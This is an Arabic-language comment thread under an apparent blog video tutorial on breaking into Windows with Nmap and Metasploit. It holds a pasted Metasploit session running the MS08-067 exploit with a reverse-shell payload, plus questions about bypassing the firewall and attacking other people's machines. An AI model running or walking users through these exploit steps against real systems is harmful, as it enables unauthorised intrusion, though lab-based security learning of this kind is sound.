شرح الفيديو:

46 تعليق في “فيديو: اختراق نظام ويندوز باستخدام Nmap و Metasploit”

Zaid

29 يوليو، 2009 الساعة 3:19 م

شرح اكثر من رائع
طبعا مشروع الميتاسبلويت اكثر من رائع و الـmeterpreter اروع D:
و منتظرين جديدك

رد


عبدالمجيد العتيبي

29 يوليو، 2009 الساعة 3:42 م

اهنيك على الشرح الذيذ

دمت بود

رد


L!nuxawi

29 يوليو، 2009 الساعة 4:27 م

ألف شكر أخوي عبدالمهيمن ,,, موضوع و شرح أكثر من رائع

“” أتمنى الإهتمام بجانب السيكيورتي و تأمين نظام اللينكس من جهه مستخدم سطح المكتب “”

رد


جبروت هكر

29 يوليو، 2009 الساعة 8:38 ص

السلام عليكم ورحمة الله
اهنيك والله على الموضوع المميز
أستمر .. !

موفقين

رد


الرآيق

29 يوليو، 2009 الساعة 12:08 م

السلام عليكم

يعطيك العافيـه يا خوي على هذ الشرح

فعلاً اداة Nmap ممتاز في كشف المنافذ المفتوحه في الجهاز

رد


pal

29 يوليو، 2009 الساعة 12:52 م

يعطيك العافية على درس جميل

لاكن عندي سؤال طريقة تنجح فقط على شبكة داخلية

رد


Mustafa Albazy

30 يوليو، 2009 الساعة 6:02 م

شرح بسيط جداً وجميل, ولكن ليس جميع الثغرات الموجودة يمكن تنفيذها البعض يمكن تنفيذها على جهاز احمد وعلى جهاز احمد لايمكن وهنا يأتي دور اختلاف نسخة الويندوز والتحديثات المركبة على النظام.

@ pal
لاكن عندي سؤال طريقة تنجح فقط على شبكة داخلية

تنفع على شبكات WAN/LAN

رد


عبدالمهيمن

30 يوليو، 2009 الساعة 7:34 م

لأكون صريح معكم لم أجرب استغلال ثغرة خارج الشبكة المحلية لكني بنفس الوقت لا أجد ما يمنع استغلال الثغرة عن طريق الانترنت اذا توفرت الشروط التالية:

1. IP حقيقي للجهاز أي أننا نستطيع الوصول للجهاز والاتصال معه بشكل مباشر.
2. عدم وجود أنظمة حماية أو IDS يمنع استغالال الثغرة بشكل صحيح فكما نعلم في الانترنت اتصالنا يمر بعدة سيرفرات.. اذا وجد نظام حماية على سيرفر واحد فقط هذا سيؤدي لعدم استغلال الثغرة.

@Syntax: بصراحة لم أكن أتصور أنه سيحتاج كل هذا الوقت.. كل ثانية أقول الآن سيعمل والآن سيظهر سطر الأوامر… حتى انتهت الـ 40 ثانية P: على كل حال لاتقلق ضغطت الفيديو بشكل جيد وأنقصت من دقته قليلا فحجمه لايزيد عن 10 ميغا.

رد


Syntax

30 يوليو، 2009 الساعة 7:40 ص

بارك الله فيك وزادك علم 🙂

لو قمت بعمل Pause للتصوير خلال تحميل الميتا , كنت ستوفر بعض الثواني 🙂

جزاك الله خير , دمت بود ,,,

رد


Dz-Security

31 يوليو، 2009 الساعة 8:51 م

سوالي: هل التطبيق كان على جهاز وهمي او جهاز داخل شبكتك او جهاز مستهدف او غير ذلك ؟

و شكرا لك على الموضوع =)

رد


مروان

1 أغسطس، 2009 الساعة 6:14 م

الفيديو تم على جهاز وهمي و في الاعدادات يتصل بالشبكة “bridged” او “accés par pont
يعني الروتر يظن انه جهاز موجود فيزيائيا و لكنه وهمي

رد


Mustafa Albazy

1 أغسطس، 2009 الساعة 2:34 ص

راجع الفيديو مرة اخرى, التطبيق تم على جهاز وهمي بواسطة الفرتوال بوكس.

رد


sabri

2 أغسطس، 2009 الساعة 12:35 م

يعطيك العافيـه يا خوي على هذ الشرح

رد


t4h3r

7 أغسطس، 2009 الساعة 11:22 ص

شرح هايل ومبسط جداً

بس انا عندى مشكلة لما بكتب
Nmap -0 192.168.16.70 مثلاً

النتيجة اللى بتظهر هى دى

مع العلم ان الاى بى ده موجود وشغال فى الشبكه معايا

رد


عبدالمهيمن

25 أغسطس، 2009 الساعة 4:11 م

في الشرح أنا أفترض أني أقوم بـ Penetration Testing وقبل أن أصل لمرحلة تطبيق الثغرات قمت بعملية جمع المعلومات وفحصت نطاق الشبكة باستخدام Nmap وعرفت الأنظمة الموجودة, اصداراتها والمنافذ المفتوحة فيها. ثم بدأت بتطبيق الثغرات واستخدمت Nmap مرة أخرى في بداية الفيديو لأظهر كيف عرفت اصدار نظام التشغيل عن بعد, أتمنى أن تكون الصورة وضحت الآن…

رد


ICEMAN

25 أغسطس، 2009 الساعة 9:18 ص

هاي عبدو
ال ip اللي انت كتبته بسرعة من غير ماتبحث عنة
اي انه وين عرفت هذا ال ip اللي طبقت عليه الشرح مع العلم اني اعلم
مثل ماتكول بالشرح انه للنظام الوهمي
كيف عرفت ip النظام الوهمي يعني انت تعرفه مسبقا ام هناك اوامر تمكننا من البحث عن ال ip في الشبكة وشكرا على الموضوع

رد


عبد العزيز حسن

27 أغسطس، 2009 الساعة 6:26 ص

يا جماعه هي الفديوهات ممسوحه ولا هي المشكله عندي
…..
انا مفيش ولا فديو شغال عندي

رد


ZEZO

30 أغسطس، 2009 الساعة 1:23 م

بارك الله فيك ياأخى

وانا مازلت مبتدىء فى عالم الشبكات والامان وحلمى ان اصبح محقق جرائم الكترونية ان شاء الله ( مع العلم انى مهندس اتصالات )

ورمضان مبارك على الجميع

رد


sherif

21 سبتمبر، 2009 الساعة 1:55 م

السلام عليكم .. أولاً شكراً على الشرح الرائع.. ثانياً عندي سؤال: سيرفر يعمل ب Microsoft IIS أردت تطبيق بعض ثغرات الميتاسبلويت عليه لكنه يخرج لي رسالة Target not found فوجدت أنه يستخدم سيرفر Squid فهل يوجد طريقة لتخطي ذلك البروكسي؟

رد


عبدالمهيمن

22 سبتمبر، 2009 الساعة 4:57 م

اذا لم تكن تستطيع الاتصال المباشر بالنظام الذي تريد تنفيذ الثغرات عليه فلن تتمكن من استغلال الثغرات وتنفيذه بشكل صحيح.

رد


عبد العزيز

4 نوفمبر، 2009 الساعة 2:23 ص

يعطيك العافية اخوي فعلا بطل في شرحك
وفكرتك اكثر من رــأإئـعة تسلم ايديك عليها
بالتوفيق يا غالي

رد


احمد العتيبي

18 نوفمبر، 2009 الساعة 5:00 م

طبعا الاستغلالات تختلف من باي لود لباي لود اخر
انا ودي انك تشرح مجموعة من الباي لودات
ويكون من ظمنها
windows/dawnload_exec

رد


S4udi h4ck

18 ديسمبر، 2009 الساعة 1:29 م

لاهنت اخوي ابي الاوامر اين اجدها .؟ البرنامج موجود بس الاوامر لاهنت مهي بموجوده اين اجدها

اخوك خالد
njm@hotmail.com

رد


glal

23 ديسمبر، 2009 الساعة 1:57 م

لقد ارسلت لك تعليقا عن شيء بخصوص الميتاسبلوت بمدونتك لا اريد طرحه هنا مره اخري حتي لا تمل مني …ارجو الرد علي هنا او هناك
اريد اضافه شيء- بدأ فعلا هذا الموقع في التقدم والانتشار وبذلك علي ايدي محترفين امثالكم ارجو المحافظه علي التقدم وتحقيق تقدم اكثر
شكراا

رد


redbyte

5 فبراير، 2010 الساعة 9:20 م

ارجو المساعد في حل هذه المشكلة

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.247
RHOST => 192.168.1.247
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 3 – lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability…
[*] Exploit completed, but no session was created.

مع العلم اني وضعت ال LHOST
ستعمل الكثير من الثغرات ولكن جميعها نفس الخطاء
[*] Exploit completed, but no session was created.

شو اعمل؟؟؟؟
وشكرا الك ع الشروحات الحلوة

رد


mohamed

7 مارس، 2010 الساعة 4:18 ص

انا مشكلتي نفس مشكلة الاخ الي قبلي مع اني فاتح بورت في الفايروال 4444
ودي اسكرين برينت للمشكلة
http://yfrog.com/10screenshotkuwp

رد


mohamed

8 مارس، 2010 الساعة 2:41 ص

انا جربت اكتر من ثغرة ونفس الناتج ممكن حد يعرفني المشكلة
http://yfrog.com/10screenshotkuwp

رد


aqm

22 مارس، 2010 الساعة 10:57 م

السلام عليكم ..

اخ عبد المهيمن ..شكرا ع الشرح الاكثر من رائع ولكن لدي مشكله عند التطبيق

استخدم الثغره : windows/smb/ms08_067_netapi

والبايلود : windows/meterpreter/bind_tcp

لكن بعد ماكتب الامر exploit

يطلع لي هذا الخطـــأ
[*] Started bind handler
[-] Exploit failed: The connection timed out (192.168.1.2:445).
[*] Exploit completed, but no session was created.

علما بأني استخدم ابنتو 8:10 ومركب عليها ادوات الباك تراك

ارجوا المســــاعده منكـــم

رد


عبدالمهيمن

25 مارس، 2010 الساعة 5:18 م

ثغرة ms08_067_netapi اكتشفت في عام 2008 ونحن في عام 2010 يعني محتمل جداً أن يكون مستخدم الجهاز قام بتركيب التحديثات الأمنية كما أنها موجودة في خدمة SMB لمشاركة الملفات التي يجب أن تكون مفعّلة ليتم استغلال الثغرة بشكل صحيح.

البعض يخطئ في استخدام ميتاسبلويت ويظن أنه أداة تمكّنه من اختراق أي جهاز لكن المشروع لم يبرمج لتخترق به الأجهزة بل ليستخدم لفحص الشبكات من الاجهزة المصابة بالثغرات.

تحياتي للجميع.

رد


aqm

25 مارس، 2010 الساعة 6:16 م

مستخدم الجهاز الاخر .. هو انا

جهازي الاخر (للتجارب ) هو ويندوز xp SP2

والبورت 445 مفتوح … بس مشكلتي مع هذا الخـــــطأ
Exploit completed, but no session was created

رد


عبدالمهيمن

25 مارس، 2010 الساعة 6:27 م

السبب هو رسالة الخطاً: The connection timed out

المشروع لم يتمكن من الاتصال مع الجهاز الآخر اما بسبب اعدادات الشبكة أو بسبب الفايروول أو لأن خدمة مشاركة الملفات غير مفعّلة.

رد


aqm

25 مارس، 2010 الساعة 6:53 م

مشكور عبد المهيمن ..

بس كيف اعرف حل لهذه المشكله ..؟؟

رد


mohamed

30 مارس، 2010 الساعة 11:16 م

ازلت الميتاسبلويت ثم اعدت تثبيته فأصبح يظهر لي عند تشغيل البرنامج ” [*] Configuring multi-user permissions for first run… ” و لا يفتح الموقع أو الكونصول
ما الحل ؟ ( تركتها لمدة طويلة لكن لم يحدث شيئ )

رد


aqm

4 أبريل، 2010 الساعة 11:12 م

السلام عليكم …

تحدثت عن مشكلتي من قبل … الا وهي
Exploit completed, but no session was created

ولاحظت ان هذا الخطا يظهر عندما يكون جدار الحمايه في ويندوز no

اما اذا كان جدار الحمايه في الويندوز off مايظهر لي هذا الخطا واستطيع اختراق الجهاز ..

🙂
زلكن هل يوجد حل ..استطيع اختراق الويندوز وجدار الحمايه on ؟؟؟

ارجوا الرد

رد


mester omis

12 أبريل، 2010 الساعة 2:37 م

السلام عليكم و رحمة الله و بركاته
ممكن رابط تحميل الادات الNmap
و دمتم مشكورين

رد


HACKER_CH

21 أبريل، 2010 الساعة 12:02 ص

مشكورا اخي عبد المهيمن و تحياتي لك بارك الله فيك على الشرح اﻷكثر من رائع

بالنسبة لﻷخ لي طلب مساعدة تحميل NMAP
الموقع الرسمى اخي هنا
http://nmap.org/
و فيه العديد من البرامج اﻷخرة الرائعة
سلام
كما يمكنك تحميلها من سطر اﻷورامر

rpm -vhU http://nmap.org/dist/nmap-5.21-1.i386.rpm
rpm -vhU http://nmap.org/dist/zenmap-5.21-1.noarch.rpm

رد


عامر

9 يوليو، 2010 الساعة 2:35 م

تشكر يا اخي
5 اشهر من الميتا استطعت اختراق جهاز الوهمي لاكن جهاز اخر يبدو لي مستحيل

بعض الاحيان اظن ان الميتا فاشل في الاختراق

رد


ابوعبدالله

13 سبتمبر، 2010 الساعة 7:48 م

اخي عبدالمهيمن سؤالي هل metasploit شتغل في بيئة windows7 ؟ واذا كان الجواب نعم ياليت رابط التحميل

رد


أحمد العنترى

14 سبتمبر، 2010 الساعة 12:52 ص

نعم metasploit تعمل فى بيئة ويندوز 7
هاهو رابط التحميل :
http://www.metasploit.com/releases/framework-3.4.1.exe

رد


ابوعبدالله

14 سبتمبر، 2010 الساعة 8:00 م

مشكور اخوي عبدالمهيمن .. طيب ياليت تكتب لي امر تشغيل الميتاسبلويت على بيئة الوندز لاني طبفتها بس للاسف لم تعمل لدي ياليت تتحملني قليلا وتكتب لي هلامر واهم اوامرها ومتاسف الازعاج

رد


عبدالمهيمن الآغا

18 سبتمبر، 2010 الساعة 10:24 م

أخي أنا لا أستخدم ميتاسبلويت على ويندوز ولا أنصح بذلك أيضاً.. إستخدمها داخل بيئة وهمية مثل Virtual Box أفضل من الاصدار الخاص بويندوز.

بخصوص المشكلة التي واجهتك جرب تشغل المشروع بصلاحيات Administrator.. من الزر الأيمن Run as

رد


ابوعبدالله

18 سبتمبر، 2010 الساعة 1:21 م

أخي عبدالمهيمن انا حاولت كثير فتح metasploit بس للاسف لايعمل المشروع لدي مع اني انتظر كثيرا وتطلع لي هذه الرساله في بداية التشغيل
configuring multi-user permissions for first run
this application “must” be launched as an administrator the first time
press enter to exit ياليت تقول لي ماهي المشكله وفقك الله

رد


Warrior-Tunesie

6 ديسمبر، 2010 الساعة 3:55 ص

سؤالي بسيط بعض الشيء
هل لاختراق جهاز على الشبكة يجب ان يكون البورت 445 مفتوح او هناك ثغرات لا تستوجب ان يكون هذا البورت مفتوح في جهاز الضحية
2 هل من الممكن ان تعمل هذه الطريقة على اي جهاز آخر و اذا كان نعم هل الطريقة هي بوضع ip الضحية مكان ip المحلي الذي وضعناه في الشرح

رد


Warrior-Tunesie

6 ديسمبر، 2010 الساعة 11:38 ص

رجاء هل يوجد من يستطيع الرد على سؤالي

رد


Swith

29 يونيو، 2012 الساعة 7:49 ص

السلام عليكم,
لقد قمت بإنشاء منتدى رائع و أتشرف بدعوتك للإلتحاق بمنتداي و التسجيل فيه.
المنتدى على هذا الرابط http://swithteem.yoo7.com/

رد


محمد

21 سبتمبر، 2014 الساعة 2:50 ص

انا مجرد مبتدأ انا حملت حزمة الكالي لينكس واريد البدأ من الصفر فمها هي الخطوات التمهيدية للقيام بالامر من فتح بورتات الى غير ذالك .. ملحوظة الشبكه ال انا عليها صاحب الشبكه عامل ماك على الوحده بمعنى اني لا اقدر اعدل فيها او افتح بورتات خاصه بها كل ال اقدر اعمله فتح بورتات في جدار الناري للنسخة وايضا في ال vmware وايضا في الكالي هل هذا يكفي ام انه لا بد من فتحها ايضا في الوحده او (الراوتر الخاص بي ) حتى استطيع استعمال الكالي في اي امر سواء اختراق او تحليل او غيرة ؟

رد